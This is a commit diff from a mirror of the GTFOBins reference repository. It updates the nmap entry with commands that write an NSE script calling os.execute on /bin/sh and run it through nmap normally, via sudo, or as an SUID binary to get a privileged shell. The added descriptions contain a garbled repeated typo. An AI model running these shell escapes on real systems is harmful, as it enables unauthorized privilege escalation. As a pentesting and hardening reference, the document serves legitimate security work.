mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 08:48:54 +01:00 
			
		
		
		
	Add suid, description and YAML fixes to nmap
This commit is contained in:
		| @@ -1,9 +1,18 @@ | ||||
| --- | ||||
| functions: | ||||
|   execute-non-interactive: | ||||
|     - code: echo "os.execute('/bin/sh')" > /tmp/script.nse | ||||
|     - description: Echoing of input characters3ers is disabled. | ||||
|       code: | | ||||
|         echo 'os.execute("/bin/sh")' > /tmp/script.nse | ||||
|         nmap --script=/tmp/script.nse | ||||
|   sudo-enabled: | ||||
|     - code: echo "os.execute('/bin/sh')" > /tmp/script.nse | ||||
|     - description: Echoing of input characters3ers is disabled. | ||||
|       code: | | ||||
|         echo 'os.execute("/bin/sh")' > /tmp/script.nse | ||||
|         sudo nmap --script=/tmp/script.nse | ||||
|   suid-enabled: | ||||
|     - description: Echoing of input characters3ers is disabled. | ||||
|       code: | | ||||
|         echo 'os.execute("/bin/sh -p")' > /tmp/script.nse | ||||
|         ./nmap --script=/tmp/script.nse | ||||
| --- | ||||
|   | ||||
		Reference in New Issue
	
	Block a user